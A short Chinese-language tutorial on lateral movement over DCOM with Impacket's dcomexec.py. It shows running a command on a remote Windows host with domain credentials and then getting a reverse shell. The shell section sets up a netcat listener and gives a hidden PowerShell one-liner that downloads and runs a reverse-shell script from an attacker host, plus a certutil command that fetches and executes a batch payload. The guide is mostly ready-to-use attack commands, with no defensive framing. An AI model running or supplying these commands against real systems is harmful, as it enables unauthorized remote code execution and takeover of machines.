### Dcom 怎么操作

利用 DCOM 执行命令

这里我们主要介绍使用 `Impacket` 中的 `dcomexec.py` 工具，因为它非常灵活且功能强大

基本语法：

    dcomexec.py <domain>/<username>:<password>@<target_ip> 'command'

示例：

假设你拥有一个域用户 `testuser` 的密码 `Password123!`，目标机器 IP 是 `192.168.1.100`，你想执行 `whoami` 命令

    dcomexec.py testdomain/testuser:Password123!@192.168.1.100 'whoami'

如果成功，你会看到命令的输出

### 利用 DCOM 获取交互式 Shell

仅仅执行单条命令是不够的，通常我们希望获得一个交互式的 Shell。`dcomexec.py` 同样可以做到

示例：

使用 `dcomexec.py` 启动一个反弹 Shell 的命令

1. 监听端口： 在你的攻击机上，用 `netcat` 或其他工具监听一个端口，例如 4444

       nc -lvnp 4444

2. 执行命令： 在目标机器上，利用 DCOM 执行一个 PowerShell 反弹 Shell 的命令。你需要将 `<attacker_ip>` 和 `<port>` 替换为你的实际 IP 和端口

       dcomexec.py testdomain/testuser:Password123!@192.168.1.100 "powershell -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object System.Net.WebClient).DownloadString('http://<attacker_ip>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <attacker_ip> -Port 4444"

   或者使用更简单的 `certutil` 下载并执行恶意脚本：

       dcomexec.py testdomain/testuser:Password123!@192.168.1.100 "cmd.exe /c certutil.exe -urlcache -f http://<attacker_ip>/shell.bat && shell.bat"

   如果成功，你的 `netcat` 监听器上会收到一个反弹回来的 Shell